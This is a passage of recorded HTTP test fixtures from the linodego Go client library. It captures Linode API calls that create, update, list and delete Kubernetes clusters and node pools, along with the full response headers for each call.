X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76170 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKENodePool_GetMissing.yaml000066400000000000000000000020761455402072200325100ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/0/pools/0 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKENodePool_Update.yaml000066400000000000000000000414411455402072200316600ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-def","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76173, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76173/pools method: POST response: body: '{"id": 118365, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "118365-63483ab318f8", "instance_id": null, "status": "not_ready"}, {"id": "118365-63483ab3eaa0", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "330" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"tags":[],"autoscaler":{"enabled":true,"min":2,"max":5}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76173/pools/118365 method: PUT response: body: '{"id": 118365, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "118365-63483ab318f8", "instance_id": 39523246, "status": "not_ready"}, {"id": "118365-63483ab3eaa0", "instance_id": 39523247, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": true, "min": 2, "max": 5}, "tags": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "328" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":3,"tags":["bar","foo","test"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76173/pools/118365 method: PUT response: body: '{"id": 118365, "type": "g6-standard-2", "count": 3, "nodes": [{"id": "118365-63483ab318f8", "instance_id": 39523246, "status": "not_ready"}, {"id": "118365-63483ab3eaa0", "instance_id": 39523247, "status": "not_ready"}, {"id": "118365-63483ab82d2f", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": true, "min": 2, "max": 5}, "tags": ["bar", "foo", "test"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "423" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76173/pools/118365 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76173 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKENodePools_List.yaml000066400000000000000000000364271455402072200315440ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-def","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76171, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76171/pools method: POST response: body: '{"id": 118360, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "118360-63483a7a95f3", "instance_id": null, "status": "not_ready"}, {"id": "118360-63483a7b6526", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "330" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76171/pools method: GET response: body: '{"data": [{"id": 118359, "type": "g6-standard-2", "count": 1, "nodes": [{"id": "118359-63483a79a0e4", "instance_id": 39523208, "status": "not_ready"}], "disks": [], "autoscaler": {"enabled": false, "min": 1, "max": 1}, "tags": ["test"]}, {"id": 118360, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "118360-63483a7a95f3", "instance_id": 39523209, "status": "not_ready"}, {"id": "118360-63483a7b6526", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "tags": ["testing"]}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "611" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76171/pools/118360 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76171 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' 